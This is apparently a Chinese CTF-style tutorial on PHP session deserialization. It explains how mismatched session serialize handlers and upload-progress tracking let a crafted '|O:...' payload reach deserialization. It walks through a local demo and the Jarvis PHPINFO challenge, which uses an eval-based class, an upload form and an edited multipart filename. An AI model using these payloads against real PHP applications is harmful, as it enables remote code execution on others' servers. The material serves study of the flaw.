session反序列化漏洞

文章目录

  • 前提知识
    • php代码
    • session_start
    • session.upload_progress.enabled
    • session.use_trans_sid
    • php.ini中Session配置
  • 初步复现
    • 原理
    • 案例
  • 无$_SESSION变量赋值
    • 案例:Jarvis-PHPINFO
      • poc
      • 1.html
      • 改流量包

前提知识

php代码


error_reporting(0);
ini_set('session.serialize_handler','php');
session_start();
$_SESSION['session'] = $_GET['session'];
?>

session_start

当会话自动开始或者通过 session_start() 手动开始的时候, PHP 内部会依据客户端传来的PHPSESSID来获取现有的对应的会话数据(即session文件), PHP 会自动反序列化session文件的内容,并将之填充到 $_SESSION 超级全局变量中。如果不存在对应的会话数据,则创建名为sess_PHPSESSID(客户端传来的)的文件。如果客户端未发送PHPSESSID,则创建一个由32个字母组成的PHPSESSID,并返回set-cookie。

当 PHP 停止的时候,它会自动读取 $_SESSION 中的内容,并将其进行序列化, 然后发送给会话保存管理器来进行保存。

Set-Cookie: PHPSESSID=22nf03m50uu2brq62ap515gjo4; path=/

session.upload_progress.enabled

这也是一个php设置的一个参数,在这道题的phpinfo页面,我们可以看到它的这个参数为On。而当它为On时,如果我们向服务器POST一个参数和一个文件,就可以向session中添加一条数据。但是,是有条件的:参数的名字必须和这个参数”session.upload_progress.name“的值同。”session.upload_progress.name“可以在php.ini文件中找到,默认都是“PHP_SESSION_UPLOAD_PROGRESS”。

session.use_trans_sid

有时候浏览器用户设置会禁止 cookie,当在客户端cookie被禁用的情况下,php也可以自动将session id添加到url参数中以及form的hidden字段中,但这需要将php.ini中的session.use_trans_sid设为开启,也可以在运行时调用ini_set来设置这个配置项。

php.ini中Session配置

session.save_path=“” --设置session的存储路径
session.save_handler=“”–设定用户自定义存储函数,如果想使用PHP内置会话存储机制之外的可以使用本函数(数据库等方式)
session.auto_start boolen–指定会话模块是否在请求开始时启动一个会话默认为0不启动
session.serialize_handler string–定义用来序列化/反序列化的处理器名字。默认使用php

session.auto_start	Off
session.save_handler	files
session.save_path	D:\phpstudy_pro\Extensions\tmp\tmp
session.serialize_handler	php

session.serialize_handler定义的引擎有三种,如下表所示:

处理器名称 存储格式
php 键名 + 竖线 + 经过serialize()函数序列化处理的值
php_binary 键名的长度对应的 ASCII 字符 + 键名 + 经过serialize()函数序列化处理的值
php_serialize 经过serialize()函数序列化处理的数组

打开save路径找到sessionID对应的文件名发现内容如下

session|s:6:"coleak";

对比三种不同

session|s:6:"coleak";
<0x07>sessions:6:"coleak";//这里的0x07是不可见字符
a:1:{s:7:"session";s:6:"coleak";}

在Linux上搭建的话,常见的php-session存放位置有:

/var/lib/php5/sess_PHPSESSID
/var/lib/php7/sess_PHPSESSID
/var/lib/php/sess_PHPSESSID
/tmp/sess_PHPSESSID
/tmp/sessions/sess_PHPSESSED

初步复现

原理

使用不同的引擎来处理session文件

案例

1.php


ini_set("session.serialize_handler", "php_serialize");
session_start();
$_SESSION['name'] = $_GET['a'];
echo "
";
var_dump($_SESSION);
echo "
"
; ?>

2.php


ini_set('session.serialize_handler', 'php');
session_start();
class student{
    var $name;
    var $age;
    function __wakeup(){
        echo "hello ".$this->name."!";
    }
}
?>

首先访问1.php,在传入的参数最开始加一个’|‘,由于1.php是使用php_serialize引擎处理,因此只会把’|‘当做一个正常的字符。然后访问2.php,由于用的是php引擎,因此遇到’|‘时会将之看做键名与值的分割符,从而造成了歧义,导致其在解析session文件时直接对’|'后的值进行反序列化处理。

poc


class student{
    var $name;
    var $age;
}
$a = new student();
$a->name =  "coleak";
$a->age = "100";
echo serialize($a);
?>

O:7:“student”:2:{s:4:“name”;s:6:“coleak”;s:3:“age”;s:3:“100”;}

payload

|O:7:“student”:2:{s:4:“name”;s:6:“coleak”;s:3:“age”;s:3:“100”;}

此时查看文件内容

a:1:{s:4:“name”;s:63:“|O:7:“student”:2:{s:4:“name”;s:6:“coleak”;s:3:“age”;s:3:“100”;}”;}

访问2.php

hello coleak!

无$_SESSION变量赋值

在PHP中还存在一个upload_process机制,即自动在$_SESSION中创建一个键值对,值中刚好存在用户可控的部分,看官方描述的,这个功能在文件上传的过程中利用session实时返回上传的进度

这里需要先上传文件,同时POST一个与session.upload_process.name的同名变量。后端会自动将POST的这个同名变量作为键进行序列化然后存储到session文件中。下次请求就会反序列化session文件,从中取出这个键。所以攻击点还是跟上一部分一模一样,程序还是使用了不同的session处理引擎。

session.upload_progress.enabled = On   --表明允许上传进度跟踪,并填充$ _SESSION变量
session.upload_progress.cleanup = Off  --表明所有POST数据(即完成上传)后,不清理进度信息($ _SESSION变量)

案例:Jarvis-PHPINFO


//A webshell is wait for you
ini_set('session.serialize_handler', 'php');
session_start();
class OowoO
{
    public $mdzz;
    function __construct()
    {
        $this->mdzz = 'phpinfo();';
    }
    
    function __destruct()
    {
        eval($this->mdzz);
    }
}
if(isset($_GET['phpinfo']))
{
    $m = new OowoO();
}
else
{
    highlight_string(file_get_contents('index.php'));
}
?>

查看phpinfo中找到不同的处理引擎

session.serialize_handler php php_serialize

session.upload_progress.enabled On On

session.upload_progress.cleanup Off Off

poc


class OowoO
{
    public $mdzz = "print_r(scandir(dirname(__FILE__)));";
}
echo(serialize(new OowoO()));
?>

O:5:"OowoO":1:{s:4:"mdzz";s:36:"print_r(scandir(dirname(__FILE__)));";}

payload

|O:5:\"OowoO\":1:{s:4:\"mdzz\";s:36:\"print_r(scandir(dirname(__FILE__)));\";}

1.html

DOCTYPE html>
<html>
<head>
    <title>title>
head>
<body>
    <form action = "http://localhost:8084/index.php" method = "POST" enctype = "multipart/form-data">
        <input type="hidden" name="PHP_SESSION_UPLOAD_PROGRESS" value="123">
        <input type="file" name="file">
        <input type="submit">
    form>
body>
html>

改流量包

Content-Disposition: form-data; name="file"; filename="|O:5:\"OowoO\":1:{s:4:\"mdzz\";s:36:\"print_r(scandir(dirname(__FILE__)));\";}"
Content-Type: text/plain

你可能感兴趣的:(#,web安全,#,PHP,php,开发语言,网络安全,安全,web安全)